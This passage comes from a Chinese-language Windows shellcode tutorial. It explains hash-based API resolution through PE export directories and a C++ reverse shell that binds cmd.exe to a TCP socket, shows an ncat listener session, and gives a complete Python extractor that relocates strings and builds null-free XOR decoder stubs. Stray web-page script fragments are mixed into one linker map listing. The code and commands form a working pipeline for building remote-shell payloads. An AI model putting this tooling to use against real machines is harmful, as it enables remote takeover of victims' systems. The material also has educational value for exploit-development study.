   +0x024 FullDllName      : _UNICODE_STRING "蒮ｍ쿟ﾹ엘ﾬ膪ｎ???"
   +0x02c BaseDllName      : _UNICODE_STRING "C:\Windows\SysWOW64\calc.exe"
   +0x034 Flags            : 0x120010
   +0x038 LoadCount        : 0x2034
   +0x03a TlsIndex         : 0x68
   +0x03c HashLinks        : _LIST_ENTRY [ 0x4000 - 0xffff ]
   +0x03c SectionPointer   : 0x00004000 Void
   +0x040 CheckSum         : 0xffff
   +0x044 TimeDateStamp    : 0x6841b4
   +0x044 LoadedImports    : 0x006841b4 Void
   +0x048 EntryPointActivationContext : 0x76fd4908 _ACTIVATION_CONTEXT
   +0x04c PatchInformation : 0x4ce7979d Void
   +0x050 ForwarderLinks   : _LIST_ENTRY [ 0x0 - 0x0 ]
   +0x058 ServiceTagLinks  : _LIST_ENTRY [ 0x6830d0 - 0x6830d0 ]
   +0x060 StaticLinks      : _LIST_ENTRY [ 0x6830d8 - 0x6830d8 ]
   +0x068 ContextInformation : 0x00686418 Void
   +0x06c OriginalBase     : 0x6851a8
   +0x070 LoadTime         : _LARGE_INTEGER 0x76f0c9d0
</code></pre>

<p>正如你可以看到的，我正在用<code>WinDbg</code>调试<code>calc.exe</code>！不错：第一个模块是执行体本身。重要的是<code>DLLBase</code> (c)字段。根据给出的模块的基地址，我们可以分析被加载到内存中的<code>PE</code>文件并获取所有信息，如已导出的函数地址。 在<code>getProcAddrByHash</code>中我们所做的:</p>

<p> </p>

<pre><code>BYTE *baseAddress = (BYTE *)dte-&gt;DllBase;
    if (!baseAddress)           // invalid module(???)
        continue;
    IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER *)baseAddress;
    IMAGE_NT_HEADERS *ntHeaders = (IMAGE_NT_HEADERS *)(baseAddress + dosHeader-&gt;e_lfanew);
    DWORD iedRVA = ntHeaders-&gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    if (!iedRVA)                // Export Directory not present
        continue;
    IMAGE_EXPORT_DIRECTORY *ied = (IMAGE_EXPORT_DIRECTORY *)(baseAddress + iedRVA);
    char *moduleName = (char *)(baseAddress + ied-&gt;Name);
    DWORD moduleHash = getHash(moduleName);
 
    // The arrays pointed to by AddressOfNames and AddressOfNameOrdinals run in parallel, i.e. the i-th
    // element of both arrays refer to the same function. The first array specifies the name whereas
    // the second the ordinal. This ordinal can then be used as an index in the array pointed to by
    // AddressOfFunctions to find the entry point of the function.
    DWORD *nameRVAs = (DWORD *)(baseAddress + ied-&gt;AddressOfNames);
    for (DWORD i = 0; i &lt; ied-&gt;NumberOfNames; ++i) {
        char *functionName = (char *)(baseAddress + nameRVAs[i]);
        if (hash == moduleHash + getHash(functionName)) {
            WORD ordinal = ((WORD *)(baseAddress + ied-&gt;AddressOfNameOrdinals))[i];
            DWORD functionRVA = ((DWORD *)(baseAddress + ied-&gt;AddressOfFunctions))[ordinal];
            return baseAddress + functionRVA;
        }
    }
    .
    .
    .
</code></pre>

<p>了解PE文件格式的规范可以更好地理解该段代码，这里不详细讲解。在PE文件结构中需要注意的是RVA(<code>Relative Virtual Addresses</code>)。即相对于PE模块（<code>Dllbase</code>）中基地址的地址。例如，如果<code>RVA</code>是<code>100h</code>并且<code>DllBase</code>是<code>400000h</code>，那么指向数据的<code>RVA</code>为<code>400000h + 100h = 400100h</code>。 该模块始于<code>DOS_HEADER</code> 。它包含一个<code>NT_HEADERS</code>的<code>RVA</code>(e_lfanew)。<code>FILE_HEADER</code>和<code>OPTIONAL_HEADERNT_HEADERS</code>存在于<code>NT_HEADERS</code>。 <code>OPTIONAL_HEADER</code>含有一个被称作<code>DataDirectory</code>的数组，该数组指向<code>PE</code>模块的多个目录。了解<code>Export Directory</code>可参考链接<a href="https://msdn.microsoft.com/en-us/library/ms809762.aspx">https://msdn.microsoft.com/en-us/library/ms809762.aspx</a>中提到的相关细节。</p>

<p>如下C结构体与<code>Export Directory</code>相关联，其定义如下：</p>

<pre><code>typedef struct _IMAGE_EXPORT_DIRECTORY {
    DWORD   Characteristics;
    DWORD   TimeDateStamp;
    WORD    MajorVersion;
    WORD    MinorVersion;
    DWORD   Name;
    DWORD   Base;
    DWORD   NumberOfFunctions;
    DWORD   NumberOfNames;
    DWORD   AddressOfFunctions;     // RVA from base of image
    DWORD   AddressOfNames;         // RVA from base of image
    DWORD   AddressOfNameOrdinals;  // RVA from base of image
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;
</code></pre>

<h4>DefineFuncPtr</h4>

<p><code>DefineFuncPtr</code> 是一个宏，它有助于定义一个已导入的函数指针. 这是范例:</p>

<pre><code>#define HASH_WSAStartup           0x2ddcd540
 
#define DefineFuncPtr(name)       decltype(name) *My_##name = (decltype(name) *)getProcAddrByHash(HASH_##name)
 
DefineFuncPtr(WSAStartup);
</code></pre>

<p><code>WSAStartup</code>函数是<code>ws2_32.dll</code>中已导入的函数，因此通过该方法计算<code>HASH_WSAStartup</code></p>

<pre><code>DWORD hash = getFunctionHash("ws2_32.dll", "WSAStartup");
</code></pre>

<p>当宏被展开时,</p>

<pre><code>DefineFuncPtr(WSAStartup);
</code></pre>

<p>变为</p>

<pre><code>decltype(WSAStartup) *My_WSAStartup = (decltype(WSAStartup) *)getProcAddrByHash(HASH_WSAStartup)
</code></pre>

<p><code>decltype(WSAStartup)</code>为 <code>WSAStartup</code>函数的类型。这样，我们无需重定义函数原型。注意：在<code>C++11</code>中有关于 <code>decltype</code>的描述。</p>

<p>现在我们可通过<code>My_WSAStartup</code>调用 <code>WSAStartup</code></p>

<p>注意：从模块中导入函数之前，我们需要确保已经在内存中加载了这个模块。</p>

<p>最简单的方法是使用<code>LoadLibrary</code>加载模块。</p>

<pre><code>DefineFuncPtr(LoadLibraryA);
  My_LoadLibraryA("ws2_32.dll");
</code></pre>

<p>该操作有效，因为<code>kernel32.dll</code> 中已导入了<code>LoadLibrary</code>，正如我们说过的，它总会出现在内存中。</p>

<p>我们也可以导入<code>GetProcAddress</code>并使用它来获取所有其它我们需要的函数地址，但是没必要这么做，因为我们需要将所有的函数名包含在<code>shellcode</code>中。</p>

<h4>entryPoint</h4>

<p>显然，<code>entryPoint</code>是<code>shellcode</code>和实现反向<code>shell</code>的入口点。首先，我们导入所有我们需要的函数，接着我们使用它们。细节不重要并且我不得不说<code>winsock API</code>的使用非常麻烦。</p>

<p>在<code>nutshell</code>中:</p>

<p>1.创建套接字， 2.将套接字连接到<code>127.0.0.1:123</code>， 3.创建一个执行<code>cmd.exe</code>的进程， 4.将套接字附加到进程的标准输入，标准输出以及标准错误输出， 5.等待进程被终止， 6.当进程已经终止时，则终止当前线程。</p>

<p>第3点与第4点同时进行，第4点调用了<code>CreateProcess</code>, 攻击者可以连接到端口123上进行监听，一旦被成功连接，就可以通过套接字（<code>socket</code>）,即<code>TCP</code>连接，与运行在远程机器中的<code>cmd.exe</code>进行交互。</p>

<p>安装<code>ncat</code>，运行cmd并在命令行上输入：</p>

<pre><code>ncat -lvp 123
</code></pre>

<p>此时将会在端口123上监听.</p>

<p>接着回到<code>Visual Studio 2013</code>，选择<code>Release</code>，搭建项目并运行它。再回到<code>ncat</code>，你将观察到如下：</p>

<pre><code>Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\Kiuhnm&gt;ncat -lvp 123
Ncat: Version 6.47 ( http://nmap.org/ncat )
Ncat: Listening on :::123
Ncat: Listening on 0.0.0.0:123
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:4409.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\Kiuhnm\documents\visual studio 2013\Projects\shellcode\shellcode&gt;
</code></pre>

<p>现在可以执行任意命令了。退出则输入<code>exi</code>t。</p>

<h4>main</h4>

<p>得益于<code>linker</code>的选项</p>

<pre><code>Function Order: function_order.txt
</code></pre>

<p><code>function_order.txt</code>中的第一行仅有一行存在<code>?entryPoint@@YAHXZ</code>字符串，函数 <code>entryPoint</code>将首先被定位在<code>shellcode</code>中。</p>

<p>在源码中，<code>linker</code>决定了函数的顺序，因此我们可在任意函数前放入<code>entryPoint</code> 。<code>main</code>函数在源码中的最后部分，因此它会在<code>shellcode</code>的结尾处被链接。当描述映射文件时，我们将了解到这是如何实现的。</p>

<h3>0x02 Python脚本</h3>

<h4>介绍</h4>

<p>现在，含有<code>shellcode</code>的执行体已经准备就绪，我们需要一种提取并修复<code>shellcode</code>的方法。这并不容易，我已经编写了<code>Python</code>脚本来实现：</p>

<p>1.提取<code>shellcode</code></p>

<p>2.处理字符串的重定位信息</p>

<p>3.通过移除<code>null</code>字节修复<code>shellcode</code></p>

<p>使用 <code>PyCharm</code> (下载地址).</p>

<p>该脚本只有392行，但是它有些复杂，因此我将对其进行解释： 代码如下：</p>

<pre><code># Shellcode extractor by Massimiliano Tomassoli (2015)
 
import sys
import os
import datetime
import pefile
 
author = 'Massimiliano Tomassoli'
year = datetime.date.today().year
 
 
def dword_to_bytes(value):
    return [value &amp; 0xff, (value &gt;&gt; 8) &amp; 0xff, (value &gt;&gt; 16) &amp; 0xff, (value &gt;&gt; 24) &amp; 0xff]
 
 
def bytes_to_dword(bytes):
    return (bytes[0] &amp; 0xff) | ((bytes[1] &amp; 0xff) &lt;&lt; 8) | \
           ((bytes[2] &amp; 0xff) &lt;&lt; 16) | ((bytes[3] &amp; 0xff) &lt;&lt; 24)
 
 
def get_cstring(data, offset):
    '''
    Extracts a C string (i.e. null-terminated string) from data starting from offset.
    '''
    pos = data.find('\0', offset)
    if pos == -1:
        return None
    return data[offset:pos+1]
 
 
def get_shellcode_len(map_file):
    '''
    Gets the length of the shellcode by analyzing map_file (map produced by VS 2013)
    '''
    try:
        with open(map_file, 'r') as f:
            lib_object = None
            shellcode_len = None
            for line in f:
                parts = line.split()
                if lib_object is not None:
                    if parts[-1] == lib_object:
                        raise Exception('_main is not the last function of %s' % lib_object)
                    else:
                        break
                elif (len(parts) &gt; 2 and parts[1] == '_main'):
                    # Format:
                    # 0001:00000274  _main   00401274 f   shellcode.obj
                    shellcode_len = int(parts[0].split(':')[1], 16)
                    lib_object = parts[-1]
 
            if shellcode_len is None:
                raise Exception('Cannot determine shellcode length')
    except IOError:
        print('[!] get_shellcode_len: Cannot open "%s"' % map_file)
        return None
    except Exception as e:
        print('[!] get_shellcode_len: %s' % e.message)
        return None
 
    return shellcode_len
 
 
def get_shellcode_and_relocs(exe_file, shellcode_len):
    '''
    Extracts the shellcode from the .text section of the file exe_file and the string
    relocations.
    Returns the triple (shellcode, relocs, addr_to_strings).
    '''
    try:
        # Extracts the shellcode.
        pe = pefile.PE(exe_file)
        shellcode = None
        rdata = None
        for s in pe.sections:
            if s.Name == '.text\0\0\0':
                if s.SizeOfRawData &lt; shellcode_len:
                    raise Exception('.text section too small')
                shellcode_start = s.VirtualAddress
                shellcode_end = shellcode_start + shellcode_len
                shellcode = pe.get_data(s.VirtualAddress, shellcode_len)
            elif s.Name == '.rdata\0\0':
                rdata_start = s.VirtualAddress
                rdata_end = rdata_start + s.Misc_VirtualSize
                rdata = pe.get_data(rdata_start, s.Misc_VirtualSize)
 
        if shellcode is None:
            raise Exception('.text section not found')
        if rdata is None:
            raise Exception('.rdata section not found')
 
        # Extracts the relocations for the shellcode and the referenced strings in .rdata.
        relocs = []
        addr_to_strings = {}
        for rel_data in pe.DIRECTORY_ENTRY_BASERELOC:
            for entry in rel_data.entries[:-1]:         # the last element's rvs is the base_rva (why?)
                if shellcode_start &lt;= entry.rva &lt; shellcode_end:
                    # The relocation location is inside the shellcode.
                    relocs.append(entry.rva - shellcode_start)      # offset relative to the start of shellcode
                    string_va = pe.get_dword_at_rva(entry.rva)
                    string_rva = string_va - pe.OPTIONAL_HEADER.ImageBase
                    if string_rva &lt; rdata_start or string_rva &gt;= rdata_end:
                        raise Exception('shellcode references a section other than .rdata')
                    str = get_cstring(rdata, string_rva - rdata_start)
                    if str is None:
                        raise Exception('Cannot extract string from .rdata')
                    addr_to_strings[string_va] = str
 
        return (shellcode, relocs, addr_to_strings)
 
    except WindowsError:
        print('[!] get_shellcode: Cannot open "%s"' % exe_file)
        return None
    except Exception as e:
        print('[!] get_shellcode: %s' % e.message)
        return None
 
 
def dword_to_string(dword):
    return ''.join([chr(x) for x in dword_to_bytes(dword)])
 
 
def add_loader_to_shellcode(shellcode, relocs, addr_to_strings):
    if len(relocs) == 0:
        return shellcode                # there are no relocations
 
    # The format of the new shellcode is:
    #       call    here
    #   here:
    #       ...
    #   shellcode_start:
    #       &lt;shellcode&gt;         (contains offsets to strX (offset are from "here" label))
    #   relocs:
    #       off1|off2|...       (offsets to relocations (offset are from "here" label))
    #       str1|str2|...
 
    delta = 21                                      # shellcode_start - here
 
    # Builds the first part (up to and not including the shellcode).
    x = dword_to_bytes(delta + len(shellcode))
    y = dword_to_bytes(len(relocs))
    code = [
        0xE8, 0x00, 0x00, 0x00, 0x00,               #   CALL here
                                                    # here:
        0x5E,                                       #   POP ESI
        0x8B, 0xFE,                                 #   MOV EDI, ESI
        0x81, 0xC6, x[0], x[1], x[2], x[3],         #   ADD ESI, shellcode_start + len(shellcode) - here
        0xB9, y[0], y[1], y[2], y[3],               #   MOV ECX, len(relocs)
        0xFC,                                       #   CLD
                                                    # again:
        0xAD,                                       #   LODSD
        0x01, 0x3C, 0x07,                           #   ADD [EDI+EAX], EDI
        0xE2, 0xFA                                  #   LOOP again
                                                    # shellcode_start:
    ]
 
    # Builds the final part (offX and strX).
    offset = delta + len(shellcode) + len(relocs) * 4           # offset from "here" label
    final_part = [dword_to_string(r + delta) for r in relocs]
    addr_to_offset = {}
    for addr in addr_to_strings.keys():
        str = addr_to_strings[addr]
        final_part.append(str)
        addr_to_offset[addr] = offset
        offset += len(str)
 
    # Fixes the shellcode so that the pointers referenced by relocs point to the
    # string in the final part.
    byte_shellcode = [ord(c) for c in shellcode]
    for off in relocs:
        addr = bytes_to_dword(byte_shellcode[off:off+4])
        byte_shellcode[off:off+4] = dword_to_bytes(addr_to_offset[addr])
 
    return ''.join([chr(b) for b in (code + byte_shellcode)]) + ''.join(final_part)
 
 
def dump_shellcode(shellcode):
    '''
    Prints shellcode in C format ('\x12\x23...')
    '''
    shellcode_len = len(shellcode)
    sc_array = []
    bytes_per_row = 16
    for i in range(shellcode_len):
        pos = i % bytes_per_row
        str = ''
        if pos == 0:
            str += '"'
        str += '\\x%02x' % ord(shellcode[i])
        if i == shellcode_len - 1:
            str += '";\n'
        elif pos == bytes_per_row - 1:
            str += '"\n'
        sc_array.append(str)
    shellcode_str = ''.join(sc_array)
    print(shellcode_str)
 
 
def get_xor_values(value):
    '''
    Finds x and y such that:
    1) x xor y == value
    2) x and y doesn't contain null bytes
    Returns x and y as arrays of bytes starting from the lowest significant byte.
    '''
 
    # Finds a non-null missing bytes.
    bytes = dword_to_bytes(value)
    missing_byte = [b for b in range(1, 256) if b not in bytes][0]
 
    xor1 = [b ^ missing_byte for b in bytes]
    xor2 = [missing_byte] * 4
    return (xor1, xor2)
 
 
def get_fixed_shellcode_single_block(shellcode):
    '''
    Returns a version of shellcode without null bytes or None if the
    shellcode can't be fixed.
    If this function fails, use get_fixed_shellcode().
    '''
 
    # Finds one non-null byte not present, if any.
    bytes = set([ord(c) for c in shellcode])
    missing_bytes = [b for b in range(1, 256) if b not in bytes]
    if len(missing_bytes) == 0:
        return None                             # shellcode can't be fixed
    missing_byte = missing_bytes[0]
 
    (xor1, xor2) = get_xor_values(len(shellcode))
 
    code = [
        0xE8, 0xFF, 0xFF, 0xFF, 0xFF,                       #   CALL $ + 4
                                                            # here:
        0xC0,                                               #   (FF)C0 = INC EAX
        0x5F,                                               #   POP EDI
        0xB9, xor1[0], xor1[1], xor1[2], xor1[3],           #   MOV ECX, &lt;xor value 1 for shellcode len&gt;
        0x81, 0xF1, xor2[0], xor2[1], xor2[2], xor2[3],     #   XOR ECX, &lt;xor value 2 for shellcode len&gt;
        0x83, 0xC7, 29,                                     #   ADD EDI, shellcode_begin - here
        0x33, 0xF6,                                         #   XOR ESI, ESI
        0xFC,                                               #   CLD
                                                            # loop1:
        0x8A, 0x07,                                         #   MOV AL, BYTE PTR [EDI]
        0x3C, missing_byte,                                 #   CMP AL, &lt;missing byte&gt;
        0x0F, 0x44, 0xC6,                                   #   CMOVE EAX, ESI
        0xAA,                                               #   STOSB
        0xE2, 0xF6                                          #   LOOP loop1
                                                            # shellcode_begin:
    ]
 
    return ''.join([chr(x) for x in code]) + shellcode.replace('\0', chr(missing_byte))
 
 
def get_fixed_shellcode(shellcode):
    '''
    Returns a version of shellcode without null bytes. This version divides
    the shellcode into multiple blocks and should be used only if
    get_fixed_shellcode_single_block() doesn't work with this shellcode.
    '''
 
    # The format of bytes_blocks is
    #   [missing_byte1, number_of_blocks1,
    #    missing_byte2, number_of_blocks2, ...]
    # where missing_byteX is the value used to overwrite the null bytes in the
    # shellcode, while number_of_blocksX is the number of 254-byte blocks where
    # to use the corresponding missing_byteX.
    bytes_blocks = []
    shellcode_len = len(shellcode)
    i = 0
    while i &lt; shellcode_len:
        num_blocks = 0
        missing_bytes = list(range(1, 256))
 
        # Tries to find as many 254-byte contiguous blocks as possible which misses at
        # least one non-null value. Note that a single 254-byte block always misses at
        # least one non-null value.
        while True:
            if i &gt;= shellcode_len or num_blocks == 255:
                bytes_blocks += [missing_bytes[0], num_blocks]
                break
            bytes = set([ord(c) for c in shellcode[i:i+254]])
            new_missing_bytes = [b for b in missing_bytes if b not in bytes]
            if len(new_missing_bytes) != 0:         # new block added
                missing_bytes = new_missing_bytes
                num_blocks += 1
                i += 254
            else:
                bytes += [missing_bytes[0], num_blocks]
                break
 
    if len(bytes_blocks) &gt; 0x7f - 5:
        # Can't assemble "LEA EBX, [EDI + (bytes-here)]" or "JMP skip_bytes".
        return None
 
    (xor1, xor2) = get_xor_values(len(shellcode))
 
    code = ([
        0xEB, len(bytes_blocks)] +                          #   JMP SHORT skip_bytes
                                                            # bytes:
        bytes_blocks + [                                    #   ...
                                                            # skip_bytes:
        0xE8, 0xFF, 0xFF, 0xFF, 0xFF,                       #   CALL $ + 4
                                                            # here:
        0xC0,                                               #   (FF)C0 = INC EAX
        0x5F,                                               #   POP EDI
        0xB9, xor1[0], xor1[1], xor1[2], xor1[3],           #   MOV ECX, &lt;xor value 1 for shellcode len&gt;
        0x81, 0xF1, xor2[0], xor2[1], xor2[2], xor2[3],     #   XOR ECX, &lt;xor value 2 for shellcode len&gt;
        0x8D, 0x5F, -(len(bytes_blocks) + 5) &amp; 0xFF,        #   LEA EBX, [EDI + (bytes - here)]
        0x83, 0xC7, 0x30,                                   #   ADD EDI, shellcode_begin - here
                                                            # loop1:
        0xB0, 0xFE,                                         #   MOV AL, 0FEh
        0xF6, 0x63, 0x01,                                   #   MUL AL, BYTE PTR [EBX+1]
        0x0F, 0xB7, 0xD0,                                   #   MOVZX EDX, AX
        0x33, 0xF6,                                         #   XOR ESI, ESI
        0xFC,                                               #   CLD
                                                            # loop2:
        0x8A, 0x07,                                         #   MOV AL, BYTE PTR [EDI]
        0x3A, 0x03,                                         #   CMP AL, BYTE PTR [EBX]
        0x0F, 0x44, 0xC6,                                   #   CMOVE EAX, ESI
        0xAA,                                               #   STOSB
        0x49,                                               #   DEC ECX
        0x74, 0x07,                                         #   JE shellcode_begin
        0x4A,                                               #   DEC EDX
        0x75, 0xF2,                                         #   JNE loop2
        0x43,                                               #   INC EBX
        0x43,                                               #   INC EBX
        0xEB, 0xE3                                          #   JMP loop1
                                                            # shellcode_begin:
    ])
 
    new_shellcode_pieces = []
    pos = 0
    for i in range(len(bytes_blocks) / 2):
        missing_char = chr(bytes_blocks[i*2])
        num_bytes = 254 * bytes_blocks[i*2 + 1]
        new_shellcode_pieces.append(shellcode[pos:pos+num_bytes].replace('\0', missing_char))
        pos += num_bytes
 
    return ''.join([chr(x) for x in code]) + ''.join(new_shellcode_pieces)
 
 
def main():
    print("Shellcode Extractor by %s (%d)\n" % (author, year))
 
    if len(sys.argv) != 3:
        print('Usage:\n' +
              '  %s &lt;exe file&gt; &lt;map file&gt;\n' % os.path.basename(sys.argv[0]))
        return
 
    exe_file = sys.argv[1]
    map_file = sys.argv[2]
 
    print('Extracting shellcode length from "%s"...' % os.path.basename(map_file))
    shellcode_len = get_shellcode_len(map_file)
    if shellcode_len is None:
        return
    print('shellcode length: %d' % shellcode_len)
 
    print('Extracting shellcode from "%s" and analyzing relocations...' % os.path.basename(exe_file))
    result = get_shellcode_and_relocs(exe_file, shellcode_len)
    if result is None:
        return
    (shellcode, relocs, addr_to_strings) = result
 
    if len(relocs) != 0:
        print('Found %d reference(s) to %d string(s) in .rdata' % (len(relocs), len(addr_to_strings)))
        print('Strings:')
        for s in addr_to_strings.values():
            print('  ' + s[:-1])
        print('')
        shellcode = add_loader_to_shellcode(shellcode, relocs, addr_to_strings)
    else:
        print('No relocations found')
 
    if shellcode.find('\0') == -1:
        print('Unbelievable: the shellcode does not need to be fixed!')
        fixed_shellcode = shellcode
    else:
        # shellcode contains null bytes and needs to be fixed.
        print('Fixing the shellcode...')
        fixed_shellcode = get_fixed_shellcode_single_block(shellcode)
        if fixed_shellcode is None:             # if shellcode wasn't fixed...
            fixed_shellcode = get_fixed_shellcode(shellcode)
            if fixed_shellcode is None:
                print('[!] Cannot fix the shellcode')
 
    print('final shellcode length: %d\n' % len(fixed_shellcode))
    print('char shellcode[] = ')
    dump_shellcode(fixed_shellcode)
 
 
main()
</code></pre>

<h4>映射文件以及<code>shellcode</code>长度</h4>

<p>在<code>linker</code>中使用如下选项来生成映射文件：</p>

<ul>
<li>Debugging: 

<ul>
<li>Generate Map File: Yes (/MAP)</li>
</ul></li>
</ul>

<p>告诉<code>linker</code>生成含有EXE结构的映射文件。</p>

<pre><code>* Map File Name: mapfile
</code></pre>

<p>该映射文件主要用于判断<code>shellcode</code>长度。</p>

<p>这里是映射文件的相关部分：</p>

<pre><code>shellcode

 Timestamp is 54fa2c08 (Fri Mar 06 23:36:56 2015)

 Preferred load address is 00400000

 Start         Length     Name                   Class
 0001:00000000 00000a9cH .text$mn                CODE
 0002:00000000 00000094H .idata$5                DATA
 0002:00000094 00000004H .CRT$XCA                DATA
 0002:00000098 00000004H .CRT$XCAA               DATA
 0002:0000009c 00000004H .CRT$XCZ                DATA
 0002:000000a0 00000004H .CRT$XIA                DATA
 0002:000000a4 00000004H .CRT$XIAA               DATA
 0002:000000a8 00000004H .CRT$XIC                DATA
 0002:000000ac 00000004H .CRT$XIY                DATA
 0002:000000b0 00000004H .CRT$XIZ                DATA
 0002:000000c0 000000a8H .rdata                  DATA
 0002:00000168 00000084H .rdata$debug            DATA
 0002:000001f0 00000004H .rdata$sxdata           DATA
 0002:000001f4 00000004H .rtc$IAA                DATA
 0002:000001f8 00000004H .rtc$IZZ                DATA
 0002:000001fc 00000004H .rtc$TAA                DATA
 0002:00000200 00000004H .rtc$TZZ                DATA
 0002:00000208 0000005cH .xdata$x                DATA
 0002:00000264 00000000H .edata                  DATA
 0002:00000264 00000028H .idata$2                DATA
 0002:0000028c 00000014H .idata$3                DATA
 0002:000002a0 00000094H .idata$4                DATA
 0002:00000334 0000027eH .idata$6                DATA
 0003:00000000 00000020H .data                   DATA
 0003:00000020 00000364H .bss                    DATA
 0004:00000000 00000058H .rsrc$01                DATA
 0004:00000060 00000180H .rsrc$02                DATA

  Address         Publics by Value              Rva+Base       Lib:Object

 0000:00000000       ___guard_fids_table        00000000     &lt;absolute&gt;
 0000:00000000       ___guard_fids_count        00000000     &lt;absolute&gt;
 0000:00000000       ___guard_flags             00000000     &lt;absolute&gt;
 0000:00000001       ___safe_se_handler_count   00000001     &lt;absolute&gt;
 0000:00000000       ___ImageBase               00400000     &lt;linker-defined&gt;
 0001:00000000       ?entryPoint@@YAHXZ         00401000 f   shellcode.obj
 0001:000001a1       ?getHash@@<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="f2abb3b9a2b0b6b2a8">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>         004011a1 f   shellcode.obj
 0001:000001be       ?getProcAddrByHash@@<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="035a4253425b484359">[email&#160;protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script> 004011be f   shellcode.obj
 0001:00000266       _main                      00401266 f   shellcode.obj
 0001:000004d4       _mainCRTStartup            004014d4 f   MSVCRT:crtexe.obj
 0001:000004de       ?__CxxUnhandledExceptionFilter@@YGJPAU_EXCEPTION_POINTERS@@@Z 004014de f   MSVCRT:unhandld.obj
 0001:0000051f       ___CxxSetUnhandledExceptionFilter 0040151f f   MSVCRT:unhandld.obj
 0001:0000052e       __XcptFilter               0040152e f   MSVCRT:MSVCR120.dll
&lt;snip&gt;
</code></pre>

<p>从映射文件的开头得知，<code>section 1</code>为<code>.text</code>节，它含有代码：</p>

<pre><code>Start         Length     Name                   Class
0001:00000000 00000a9cH .text$mn                CODE
</code></pre>

<p>第二部分表明 <code>.text</code>节起始于 <code>?entryPoint@@YAHXZ</code>，这是我们的<code>entryPoint</code>函数，最后一个函数是函数<code>main</code>（这里被称作<code>_main</code>）。因为<code>main</code>函数在偏移<code>0x266</code>上，并且<code>entryPoint</code>函数位于``，我们的<code>shellcode</code>起始于<code>.text</code>节的开头，并且长度为<code>0x266</code>字节。</p>

<p>使用python实现：</p>

<pre><code>def get_shellcode_len(map_file):
    '''
    Gets the length of the shellcode by analyzing map_file (map produced by VS 2013)
    '''
    try:
        with open(map_file, 'r') as f:
            lib_object = None
            shellcode_len = None
            for line in f:
                parts = line.split()
                if lib_object is not None:
                    if parts[-1] == lib_object:
                        raise Exception('_main is not the last function of %s' % lib_object)
                    else:
                        break
                elif (len(parts) &gt; 2 and parts[1] == '_main'):
                    # Format:
                    # 0001:00000274  _main   00401274 f   shellcode.obj
                    shellcode_len = int(parts[0].split(':')[1], 16)
                    lib_object = parts[-1]
 
            if shellcode_len is None:
                raise Exception('Cannot determine shellcode length')
    except IOError:
        print('[!] get_shellcode_len: Cannot open "%s"' % map_file)
        return None
    except Exception as e:
        print('[!] get_shellcode_len: %s' % e.message)
        return None
 
    return shellcode_len
</code></pre>

<h4>提取 shellcode</h4>

<p>这部分非常容易理解，我们知道<code>shellcode</code>的长度并且知道<code>shellcode</code>被定位在<code>.text</code>节的起始部分。代码如下：</p>

<pre><code>def get_shellcode_and_relocs(exe_file, shellcode_len):
    '''
    Extracts the shellcode from the .text section of the file exe_file and the string
    relocations.
    Returns the triple (shellcode, relocs, addr_to_strings).
    '''
    try:
        # Extracts the shellcode.
        pe = pefile.PE(exe_file)
        shellcode = None
        rdata = None
        for s in pe.sections:
            if s.Name == '.text\0\0\0':
                if s.SizeOfRawData &lt; shellcode_len:
                    raise Exception('.text section too small')
                shellcode_start = s.VirtualAddress
                shellcode_end = shellcode_start + shellcode_len
                shellcode = pe.get_data(s.VirtualAddress, shellcode_len)
            elif s.Name == '.rdata\0\0':
                &lt;snip&gt;
 
        if shellcode is None:
            raise Exception('.text section not found')
        if rdata is None:
            raise Exception('.rdata section not found')
&lt;snip&gt;
</code></pre>

<p>我使用了模块<code>pefile</code> (<a href="https://code.google.com/p/pefile/">下载地址</a>). 相关的部分是<code>if</code>语句体。</p>

<h4>字符串和.rdata</h4>

<p>正如之前所说的，<code>c/c++</code>代码可能含有字符串。例如，我们的<code>shellcode</code>含有如下代码：</p>

<pre><code>My_CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &amp;sInfo, &amp;procInfo);
</code></pre>

<p>字符串<code>cmd.exe</code>被定位在<code>.rdata</code>节中，该节是一个只读的含有数据（已被初始化）的节。该代码对字符串进行绝对地址引用。</p>

<pre><code>00241152 50                   push        eax  
00241153 8D 44 24 5C          lea         eax,[esp+5Ch]  
00241157 C7 84 24 88 00 00 00 00 01 00 00 mov         dword ptr [esp+88h],100h  
00241162 50                   push        eax  
00241163 52                   push        edx  
00241164 52                   push        edx  
00241165 52                   push        edx  
00241166 6A 01                push        1  
00241168 52                   push        edx  
00241169 52                   push        edx  
0024116A 68 18 21 24 00       push        242118h         &lt;------------------------
0024116F 52                   push        edx  
00241170 89 B4 24 C0 00 00 00 mov         dword ptr [esp+0C0h],esi  
00241177 89 B4 24 BC 00 00 00 mov         dword ptr [esp+0BCh],esi  
0024117E 89 B4 24 B8 00 00 00 mov         dword ptr [esp+0B8h],esi  
